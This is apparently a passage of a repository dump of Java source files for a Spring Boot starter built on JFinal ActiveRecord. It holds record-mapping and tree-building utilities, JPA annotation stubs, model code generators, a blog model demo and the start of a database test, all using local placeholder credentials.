(\"String\".equalsIgnoreCase(fieldClassName)) {\n                        field.set(vo, obj.toString());\n                    }else if (\"int\".equals(fieldClassName) || \"Integer\".equals(fieldClassName)) {\n                        field.set(vo,Integer.parseInt(obj.toString()));\n                    }else if (\"long\".equals(fieldClassName) || \"Long\".equals(fieldClassName)) {\n                        field.set(vo,Long.parseLong(obj.toString()));\n                    }else if (\"double\".equals(fieldClassName) || \"Double\".equals(fieldClassName)) {\n                        field.set(vo,Double.parseDouble(obj.toString()));\n                    }else if (\"BigDecimal\".equalsIgnoreCase(fieldClassName)){\n                        field.set(vo, new BigDecimal(obj.toString()));\n                    }else if (\"boolean\".equals(fieldClassName)){\n                        field.set(vo,obj);\n                    }else if (\"LocalDateTime\".equals(fieldClassName) ) {\n                        DateTimeFormatter df = DateTimeFormatter.ofPattern(\"yyyy-MM-dd HH:mm:ss.S\");\n                        LocalDateTime ldt = LocalDateTime.from(df.parse(obj.toString()));\n                        field.set(obj, ldt);\n                    }else if(\"Date\".equals(fieldClassName) ){\n                        if(obj instanceof Timestamp){\n                            Timestamp timestamp = (Timestamp) obj;\n                            Date date = new Date(timestamp.getTime());\n                            field.set(obj, date);\n                        }else if(obj instanceof LocalDateTime){\n                            DateTimeFormatter df = DateTimeFormatter.ofPattern(\"yyyy-MM-dd HH:mm:ss.S\");\n                            LocalDateTime ldt = LocalDateTime.from(df.parse(obj.toString()));\n                            field.set(obj, ldt);\n                        }else{\n                            field.set(obj, obj);\n                        }\n                    } else {\n                        field.set(obj, obj);\n                    }\n\n                }\n            }\n            return vo;\n        } catch (InstantiationException e) {\n            throw new RuntimeException(e);\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }*/\n    }\n\n\n\n//    public static <T> T recordToBean(Record record, Class<T> clazz){\n//        return RecordUtil.recordToBean(record,clazz);\n//    }\n//    public static Map<String, Object> recordToMap(Record record) {\n//        return RecordUtil.recordToMap(record);\n//    }\n//    public static <T> List<T> recordToListBean(List<Record> recordList, Class<T> clazz){\n//        return RecordUtil.recordToListBean(recordList,clazz);\n//    }\n//    public static Page pageRecordToPage(Page<Record> pageList){\n//        return RecordUtil.pageRecordToPage(pageList);\n//    }\n//    public static List<Map> recordToMaps(List<Record> recordList){\n//        return RecordUtil.recordToMaps(recordList);\n//    }\n\n    public static Record mapping(Map<String, Object> map) {\n        return toRecord(map);\n    }\n\n    private static Record toRecord(Map<String, Object> map) {\n        Record record = new Record();\n        for (Map.Entry<String, Object> entry : map.entrySet()) {\n            record.set(entry.getKey(), entry.getValue());\n        }\n        return record;\n    }\n\n    public static List<Record> mappingList(List<Map<String, Object>> maps) {\n        return toRecords(maps);\n    }\n\n    private static List<Record> toRecords(List<Map<String, Object>> maps) {\n        List<Record> records = new ArrayList<>();\n        if (null != maps && !maps.isEmpty()) {\n            for (Map<String, Object> map : maps) {\n                records.add(mapping(map));\n            }\n            return records;\n        } else {\n            return null;\n        }\n    }\n\n\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n\n    public static final RecordUtil me = new RecordUtil();\n\n    public List<Record> build(ResultSet rs) throws SQLException {\n        return build(rs, null);\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    public List<Record> build(ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n        List<Record> result = new ArrayList<Record>();\n        ResultSetMetaData rsmd = rs.getMetaData();\n        int columnCount = rsmd.getColumnCount();\n        String[] labelNames = new String[columnCount + 1];\n        int[] types = new int[columnCount + 1];\n        buildLabelNamesAndTypes(rsmd, labelNames, types);\n        while (rs.next()) {\n            Record record = new Record();\n            //record.setColumnsMap(config.containerFactory.getColumnsMap());\n            Map<String, Object> columns = record.getColumns();\n            for (int i=1; i<=columnCount; i++) {\n                Object value;\n                if (types[i] < Types.BLOB) {\n                    value = rs.getObject(i);\n                } else {\n                    if (types[i] == Types.CLOB) {\n                        value = RecordUtil.me.handleClob(rs.getClob(i));\n                    } else if (types[i] == Types.NCLOB) {\n                        value = RecordUtil.me.handleClob(rs.getNClob(i));\n                    } else if (types[i] == Types.BLOB) {\n                        value = RecordUtil.me.handleBlob(rs.getBlob(i));\n                    } else {\n                        value = rs.getObject(i);\n                    }\n                }\n                columns.put(labelNames[i], value);\n            }\n            if (func == null) {\n                result.add(record);\n            } else {\n                if ( ! func.apply(record) ) {\n                    break ;\n                }\n            }\n        }\n        return result;\n    }\n\n    public void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n        for (int i=1; i<labelNames.length; i++) {\n            // 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n            labelNames[i] = rsmd.getColumnLabel(i);\n            types[i] = rsmd.getColumnType(i);\n        }\n    }\n\n    public byte[] handleBlob(Blob blob) throws SQLException {\n        if (blob == null)\n            return null;\n\n        InputStream is = null;\n        try {\n            is = blob.getBinaryStream();\n            if (is == null)\n                return null;\n            byte[] data = new byte[(int)blob.length()];\t\t// byte[] data = new byte[is.available()];\n            if (data.length == 0)\n                return null;\n            is.read(data);\n            return data;\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n        finally {\n            if (is != null)\n                try {is.close();} catch (IOException e) {throw new RuntimeException(e);}\n        }\n    }\n\n    public String handleClob(Clob clob) throws SQLException {\n        if (clob == null)\n            return null;\n\n        Reader reader = null;\n        try {\n            reader = clob.getCharacterStream();\n            if (reader == null)\n                return null;\n            char[] buffer = new char[(int)clob.length()];\n            if (buffer.length == 0)\n                return null;\n            reader.read(buffer);\n            return new String(buffer);\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n        finally {\n            if (reader != null)\n                try {reader.close();} catch (IOException e) {throw new RuntimeException(e);}\n        }\n    }\n\n\t/* backup before use columnType\n\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tString[] labelNames = getLabelNames(rsmd, columnCount);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (int i=1; i<=columnCount; i++) {\n\t\t\t\tObject value = rs.getObject(i);\n\t\t\t\tcolumns.put(labelNames[i], value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\n\tprivate static final String[] getLabelNames(ResultSetMetaData rsmd, int columnCount) throws SQLException {\n\t\tString[] result = new String[columnCount + 1];\n\t\tfor (int i=1; i<=columnCount; i++)\n\t\t\tresult[i] = rsmd.getColumnLabel(i);\n\t\treturn result;\n\t}\n\t*/\n\n\t/* backup\n\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n\t\tList<Record> result = new ArrayList<Record>();\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tList<String> labelNames = getLabelNames(rsmd);\n\t\twhile (rs.next()) {\n\t\t\tRecord record = new Record();\n\t\t\tMap<String, Object> columns = record.getColumns();\n\t\t\tfor (String lableName : labelNames) {\n\t\t\t\tObject value = rs.getObject(lableName);\n\t\t\t\tcolumns.put(lableName, value);\n\t\t\t}\n\t\t\tresult.add(record);\n\t\t}\n\t\treturn result;\n\t}\n\n\tprivate static final List<String> getLabelNames(ResultSetMetaData rsmd) throws SQLException {\n\t\tint columCount = rsmd.getColumnCount();\n\t\tList<String> result = new ArrayList<String>();\n\t\tfor (int i=1; i<=columCount; i++) {\n\t\t\tresult.add(rsmd.getColumnLabel(i));\n\t\t}\n\t\treturn result;\n\t}\n\t*/\n\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n\n    static volatile Map<String, ActiveRecordPlugin> activeRecordPluginMap = new ConcurrentHashMap<>();\n\n    public static ActiveRecordPlugin init(String configName,String jdbcUrl,String user,String password) {\n        return initActiveRecordPlugin(configName, jdbcUrl, user, password);\n    }\n    public static ActiveRecordPlugin initActiveRecordPlugin(String configName,String jdbcUrl,String user,String password) {\n        configName = StrUtil.isEmpty(configName)? DbKit.MAIN_CONFIG_NAME:configName;\n        if(DbKit.getConfig(configName) == null){\n            DruidPlugin druidPlugin = new DruidPlugin(jdbcUrl, user, password);\n            ActiveRecordPlugin arp = new ActiveRecordPlugin(configName,druidPlugin);\n            arp.setDevMode(true);\n            arp.setShowSql(true);\n            // 添加 sql 模板文件，实际开发时将 sql 文件放在 src/main/resources 下\n            //arp.addSqlTemplate(\"com/jfinal/plugin/activerecord/test.sql\");\n            // 所有映射在生成的 _MappingKit.java 中自动化搞定\n            //_MappingKit.mapping(arp);\n            // 先启动 druidPlugin，后启动 arp\n            druidPlugin.start();\n            arp.start();\n            activeRecordPluginMap.put(configName,arp);\n            return arp;\n        }else{\n            return activeRecordPluginMap.get(configName);\n        }\n    }\n    public static ActiveRecordPlugin init(DataSource ds) {\n        return initActiveRecordPlugin(\"main\", ds);\n    }\n    public static ActiveRecordPlugin init(String configName,DataSource ds) {\n        return initActiveRecordPlugin(configName, ds);\n    }\n    public static ActiveRecordPlugin initActiveRecordPlugin(String configName,DataSource ds) {\n        configName = StrUtil.isEmpty(configName)?DbKit.MAIN_CONFIG_NAME:configName;\n        if(DbKit.getConfig(configName) == null){\n            ActiveRecordPlugin arp = new ActiveRecordPlugin(configName, ds);\n            arp.setDevMode(true);\n            arp.setShowSql(true);\n            // 添加 sql 模板文件，实际开发时将 sql 文件放在 src/main/resources 下\n            //arp.addSqlTemplate(\"com/jfinal/plugin/activerecord/test.sql\");\n            // 所有映射在生成的 _MappingKit.java 中自动化搞定\n            //_MappingKit.mapping(arp);\n            // 先启动 druidPlugin，后启动 arp\n            arp.start();\n            activeRecordPluginMap.put(configName,arp);\n            return arp;\n        }else{\n            return activeRecordPluginMap.get(configName);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/db/utils/TreeBuildUtil.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.util.StrUtil;\n//import org.springframework.util.StopWatch;\n\nimport java.util.*;\n\npublic class TreeBuildUtil {\n\n    /**\n     * 对象List转为Tree树形结构\n     *\n     * @param entityList       传进来的泛型List\n     * @param rootValue 根节点值,0或者-1或者自定义的值\n     * @param idField id,主键名称\n     * @param parentIdField  parentId,父级字段名称\n     * @return\n     */\n    public static List<Map<String, Object>> buildTree(List<Map> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField);\n    }\n    public static List<Map<String, Object>> listToTree(List<Map> entityList, String rootValue, String idField, String parentIdField) {\n//        StopWatch stopWatch = new StopWatch();\n//        stopWatch.start();\n        List<Map<String, Object>> treeMap = new ArrayList<>();\n        List<Map> listMap = BeanUtil.copyToList(entityList,Map.class);\n        Map<String, Map<String, Object>> entityMap = new Hashtable<>();\n        listMap.forEach(map -> entityMap.put(map.get(idField).toString(), map));\n        listMap.forEach(map -> {\n            Object pid = map.get(parentIdField);\n            if (pid == null ||/* StrUtil.equals(pid.toString(), \"0\") ||*/ StrUtil.equals(pid.toString(), rootValue)) {\n                treeMap.add(map);\n            } else {\n                Map<String, Object> parentMap = entityMap.get(pid.toString());\n                if (parentMap == null) { //如果parentMap为空，则说明当前map没有父级，当前map就是顶级\n                    treeMap.add(map);\n                } else {\n                    List<Map<String, Object>> children = (List<Map<String, Object>>) parentMap.get(\"children\");\n                    if (children == null) {  //判断子级集合是否为空，为空则新创建List\n                        children = new ArrayList<>();\n                        parentMap.put(\"children\", children);\n                    }\n                    children.add(map);\n                }\n            }\n        });\n//        stopWatch.stop();\n//        stopWatch.getTotalTimeMillis();\n//        StaticLog.info(\"listToTree 耗时， \" + stopWatch.getTotalTimeMillis());\n        return treeMap;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Column.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Column {\n    String name() default \"\";\n\n    boolean unique() default false;\n\n    boolean nullable() default true;\n\n    boolean insertable() default true;\n\n    boolean updatable() default true;\n\n    String columnDefinition() default \"\";\n\n    String table() default \"\";\n\n    int length() default 255;\n\n    int precision() default 0;\n\n    int scale() default 0;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Entity.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Documented\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Entity {\n    String name() default \"\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Id.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Id {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Index.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Index {\n    String name() default \"\";\n\n    String columnList();\n\n    boolean unique() default false;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Table.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Table {\n    String name() default \"\";\n\n    String catalog() default \"\";\n\n    String schema() default \"\";\n\n    UniqueConstraint[] uniqueConstraints() default {};\n\n    Index[] indexes() default {};\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/Transient.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Transient {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/javax/persistence/UniqueConstraint.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface UniqueConstraint {\n    String name() default \"\";\n\n    String[] columnNames();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/ActiveRecordDemo.java",
    "content": "package com.jfinal.plugin.activerecord;\n\nimport com.jfinal.plugin.activerecord.model.Blog;\nimport com.jfinal.plugin.activerecord.model._MappingKit;\nimport com.jfinal.plugin.druid.DruidPlugin;\n\npublic class ActiveRecordDemo {\n\t\n\tstatic String jdbcUrl = \"jdbc:mysql://localhost/jfinal_demo?useSSL=false&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull\";\n\tstatic String user = \"root\";\n\tstatic String password = \"yourpassword\";\n\t\n\tpublic static DruidPlugin createDruidPlugin() {\n\t\tDruidPlugin druidPlugin = new DruidPlugin(jdbcUrl, user, password);\n\t\treturn druidPlugin;\n\t}\n\t\n\tpublic static void initActiveRecordPlugin() {\n\t\tDruidPlugin druidPlugin = createDruidPlugin();\n\t\t\n\t\tActiveRecordPlugin arp = new ActiveRecordPlugin(druidPlugin);\n\t\tarp.setDevMode(true);\n\t\tarp.setShowSql(true);\n\t\t\n\t\t// 添加 sql 模板文件，实际开发时将 sql 文件放在 src/main/resources 下\n\t\tarp.addSqlTemplate(\"com/jfinal/plugin/activerecord/test.sql\");\n\t\t\n\t\t// 所有映射在生成的 _MappingKit.java 中自动化搞定\n\t\t_MappingKit.mapping(arp);\n\t\t\n\t\t// 先启动 druidPlugin，后启动 arp\n\t\tdruidPlugin.start();\n\t\tarp.start();\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tinitActiveRecordPlugin();\n\t\t\n\t\t// 使用 Model\n\t\tBlog dao = new Blog().dao();\n\t\tBlog blog = dao.template(\"findBlog\", 1).findFirst();\n\t\tSystem.out.println(blog.getTitle());\n\t\t\n\t\t// 使用 Db + Record 模式\n\t\tRecord record = Db.template(\"findBlog\", 1).findFirst();\n\t\tSystem.out.println(record.getStr(\"title\"));\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/_Generator.java",
    "content": "package com.jfinal.plugin.activerecord;\n\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.util.Date;\nimport javax.sql.DataSource;\nimport com.jfinal.plugin.activerecord.dialect.MysqlDialect;\nimport com.jfinal.plugin.activerecord.generator.Generator;\nimport com.jfinal.plugin.activerecord.generator.TypeMapping;\nimport com.jfinal.plugin.druid.DruidPlugin;\n\n/**\n * 本 demo 仅表达最为粗浅的 jfinal 用法，更为有价值的实用的企业级用法\n * 详见 JFinal 俱乐部: http://jfinal.com/club\n * \n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class _Generator {\n\t\n\t/**\n\t * 在此统一添加不参与生成的 table。不参与生成的 table 主要有：\n\t * 1：用于建立表之间关系的关联表，如 account_role\n\t * 2：部分功能使用 Db + Record 模式实现，所涉及到的 table 也不参与生成\n\t */\n\tprivate static String[] excludedTable = {\n\t\t\t\"login_log\",\n\t\t\t\"account_role\",\n\t\t\t\"role_permission\"\n\t};\n\t\n\tpublic static DataSource getDataSource() {\n\t\tDruidPlugin druidPlugin = ActiveRecordDemo.createDruidPlugin();\n\t\tdruidPlugin.start();\n\t\treturn druidPlugin.getDataSource();\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t// model 所使用的包名 (MappingKit 默认使用的包名)\n\t\tString modelPackageName = \"com.jfinal.common.model\";\n\t\t\n\t\t// base model 所使用的包名\n\t\tString baseModelPackageName = modelPackageName + \".base\";\n\t\t\n\t\t// base model 文件保存路径\n\t\tString baseModelOutputDir = System.getProperty(\"user.dir\")\n\t\t\t\t+ \"/src/main/java/\" + baseModelPackageName.replace('.', '/');\n\t\t\n\t\t// model 文件保存路径 (MappingKit 与 DataDictionary 文件默认保存路径)\n\t\tString modelOutputDir = baseModelOutputDir + \"/..\";\n\t\t\n\t\tSystem.out.println(\"输出路径：\" + baseModelOutputDir);\n\t\t\n\t\t// 创建生成器\n\t\tGenerator gen = new Generator(getDataSource(), baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir);\n\t\t\n\t\t// 设置数据库方言\n\t\tgen.setDialect(new MysqlDialect());\n\t\t\n\t\t// 设置是否生成字段备注\n\t\tgen.setGenerateRemarks(true);\n\t\t\n\t\t// 添加不需要生成的表名\n\t\tfor (String table : excludedTable) {\n\t\t\tgen.addExcludedTable(table.trim());\n\t\t}\n\t\t\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgen.setGenerateDaoInModel(false);\n\t\t\n\t\t// 设置是否生成字典文件\n\t\tgen.setGenerateDataDictionary(false);\n\t\t\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"User\"而非 OscUser\n\t\t// gernerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t\n\t\t// 将 mysql 8 以及其它原因之下生成 jdk 8 日期类型映射为 java.util.Date，便于兼容老项目，也便于习惯使用 java.util.Date 的同学\n\t\tTypeMapping tm = new TypeMapping();\n\t\ttm.addMapping(LocalDateTime.class, Date.class);\n\t\ttm.addMapping(LocalDate.class, Date.class);\n\t\t// tm.addMapping(LocalTime.class, LocalTime.class);\t\t// LocalTime 暂时不变\n\t\tgen.setTypeMapping(tm);\n\t\t\n\t\t// 生成\n\t\tgen.generate();\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/model/Blog.java",
    "content": "package com.jfinal.plugin.activerecord.model;\n\nimport com.jfinal.plugin.activerecord.model.base.BaseBlog;\n\n/**\n * Generated by JFinal.\n */\n@SuppressWarnings(\"serial\")\npublic class Blog extends BaseBlog<Blog> {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/model/_MappingKit.java",
    "content": "package com.jfinal.plugin.activerecord.model;\n\nimport com.jfinal.plugin.activerecord.ActiveRecordPlugin;\n\n/**\n * Generated by JFinal, do not modify this file.\n * <pre>\n * Example:\n * public void configPlugin(Plugins me) {\n *     ActiveRecordPlugin arp = new ActiveRecordPlugin(...);\n *     _MappingKit.mapping(arp);\n *     me.add(arp);\n * }\n * </pre>\n */\npublic class _MappingKit {\n\t\n\tpublic static void mapping(ActiveRecordPlugin arp) {\n\t\tarp.addMapping(\"blog\", \"id\", Blog.class);\n\t}\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/model/base/BaseBlog.java",
    "content": "package com.jfinal.plugin.activerecord.model.base;\n\nimport com.jfinal.plugin.activerecord.Model;\nimport com.jfinal.plugin.activerecord.IBean;\n\n/**\n * Generated by JFinal, do not modify this file.\n */\n@SuppressWarnings(\"serial\")\npublic abstract class BaseBlog<M extends BaseBlog<M>> extends Model<M> implements IBean {\n\n\t/**\n\t * id注释\n\t */\n\tpublic void setId(java.lang.Integer id) {\n\t\tset(\"id\", id);\n\t}\n\t\n\t/**\n\t * id注释\n\t */\n\tpublic java.lang.Integer getId() {\n\t\treturn getInt(\"id\");\n\t}\n\n\t/**\n\t * title注释\n\t */\n\tpublic void setTitle(java.lang.String title) {\n\t\tset(\"title\", title);\n\t}\n\t\n\t/**\n\t * title注释\n\t */\n\tpublic java.lang.String getTitle() {\n\t\treturn getStr(\"title\");\n\t}\n\n\t/**\n\t * content注释\n\t */\n\tpublic void setContent(java.lang.String content) {\n\t\tset(\"content\", content);\n\t}\n\t\n\t/**\n\t * content注释\n\t */\n\tpublic java.lang.String getContent() {\n\t\treturn getStr(\"content\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/plugin/activerecord/test.sql",
    "content": "#sql(\"findBlog\")\n  select * from blog where id = #para(0);\n#end"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/template/EngineTest.java",
    "content": "package com.jfinal.template;\n\nimport com.jfinal.kit.Kv;\n\npublic class EngineTest {\n\tpublic static void main(String[] args) {\n\t\tKv para = Kv.of(\"key\", \"value\");\n\t\tString result = Engine.use().getTemplateByString(\"#(key)\").renderToString(para);\n\t\tSystem.out.println(result);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/com/jfinal/template/SpringBootConfig.java",
    "content": "//package com.jfinal.template;\n//\n//import org.springframework.context.annotation.Bean;\n//import org.springframework.context.annotation.Configuration;\n//import com.jfinal.template.ext.spring.JFinalViewResolver;\n//import com.jfinal.template.source.ClassPathSourceFactory;\n//\n///**\n// * 整合 Spring Boot\n// */\n//@Configuration\n//public class SpringBootConfig {\n//    @Bean(name = \"jfinalViewResolver\")\n//    public JFinalViewResolver getJFinalViewResolver() {\n//        JFinalViewResolver jfr = new JFinalViewResolver();\n//        // setDevMode 配置放在最前面\n//        jfr.setDevMode(true);\n//\n//        // 使用 ClassPathSourceFactory 从 class path 与 jar 包中加载模板文件\n//        jfr.setSourceFactory( new ClassPathSourceFactory() );\n//        jfr.setPrefix(\"/view/\");\n//        jfr.setSuffix(\".html\");\n//        jfr.setContentType(\"text/html;charset=UTF-8\");\n//        jfr.setOrder(0);\n//        jfr.addSharedFunction(\"/view/common/_layout.html\");\n//        jfr.addSharedFunction(\"/view/common/_paginate.html\");\n//        return jfr;\n//    }\n//}\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/io/github/wujun728/activerecord/_Generator.java",
    "content": "package io.github.wujun728.activerecord;\n\nimport com.jfinal.plugin.activerecord.ActiveRecordDemo;\nimport com.jfinal.plugin.activerecord.dialect.MysqlDialect;\nimport com.jfinal.plugin.activerecord.generator.Generator;\nimport com.jfinal.plugin.activerecord.generator.TypeMapping;\nimport com.jfinal.plugin.druid.DruidPlugin;\n\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.util.Date;\nimport javax.sql.DataSource;\n\n\n/**\n * 本 demo 仅表达最为粗浅的 jfinal 用法，更为有价值的实用的企业级用法\n * 详见 JFinal 俱乐部: http://jfinal.com/club\n * \n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class _Generator {\n\t\n\t/**\n\t * 在此统一添加不参与生成的 table。不参与生成的 table 主要有：\n\t * 1：用于建立表之间关系的关联表，如 account_role\n\t * 2：部分功能使用 Db + Record 模式实现，所涉及到的 table 也不参与生成\n\t */\n\tprivate static String[] excludedTable = {\n\t\t\t\"login_log\",\n\t\t\t\"account_role\",\n\t\t\t\"role_permission\"\n\t};\n\t\n\tpublic static DataSource getDataSource() {\n\t\tDruidPlugin druidPlugin = ActiveRecordDemo.createDruidPlugin();\n\t\tdruidPlugin.start();\n\t\treturn druidPlugin.getDataSource();\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t// model 所使用的包名 (MappingKit 默认使用的包名)\n\t\tString modelPackageName = \"com.jfinal.common.model\";\n\t\t\n\t\t// base model 所使用的包名\n\t\tString baseModelPackageName = modelPackageName + \".base\";\n\t\t\n\t\t// base model 文件保存路径\n\t\tString baseModelOutputDir = System.getProperty(\"user.dir\")\n\t\t\t\t+ \"/src/main/java/\" + baseModelPackageName.replace('.', '/');\n\t\t\n\t\t// model 文件保存路径 (MappingKit 与 DataDictionary 文件默认保存路径)\n\t\tString modelOutputDir = baseModelOutputDir + \"/..\";\n\t\t\n\t\tSystem.out.println(\"输出路径：\" + baseModelOutputDir);\n\t\t\n\t\t// 创建生成器\n\t\tGenerator gen = new Generator(getDataSource(), baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir);\n\t\t\n\t\t// 设置数据库方言\n\t\tgen.setDialect(new MysqlDialect());\n\t\t\n\t\t// 设置是否生成字段备注\n\t\tgen.setGenerateRemarks(true);\n\t\t\n\t\t// 添加不需要生成的表名\n\t\tfor (String table : excludedTable) {\n\t\t\tgen.addExcludedTable(table.trim());\n\t\t}\n\t\t\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgen.setGenerateDaoInModel(false);\n\t\t\n\t\t// 设置是否生成字典文件\n\t\tgen.setGenerateDataDictionary(false);\n\t\t\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"User\"而非 OscUser\n\t\t// gernerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t\n\t\t// 将 mysql 8 以及其它原因之下生成 jdk 8 日期类型映射为 java.util.Date，便于兼容老项目，也便于习惯使用 java.util.Date 的同学\n\t\tTypeMapping tm = new TypeMapping();\n\t\ttm.addMapping(LocalDateTime.class, Date.class);\n\t\ttm.addMapping(LocalDate.class, Date.class);\n\t\t// tm.addMapping(LocalTime.class, LocalTime.class);\t\t// LocalTime 暂时不变\n\t\tgen.setTypeMapping(tm);\n\t\t\n\t\t// 生成\n\t\tgen.generate();\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/test/java/io/github/wujun728/db/DbTest.java",
    "content": "package io.github.wujun728.db;\n\nimport cn.hutool.core.util.RandomUtil;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.jfinal.plugin.activerecord.Db;\nimport com.jfinal.plugin.activerecord.Page;\nimport com.jfinal.plugin.activerecord.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport org.junit.BeforeClass;\nimport org.junit.Test;\n\nimport javax.sql.DataSource;\nimport java.util.List;\nimport java.util.Map;\n\nimport static io.github.wujun728.db.utils.DataSourcePool.main;\n\n\npublic class DbTest {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        //String sqlId = Db.queryStr(\"select sql_text from api_sql  limit 1 \");\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        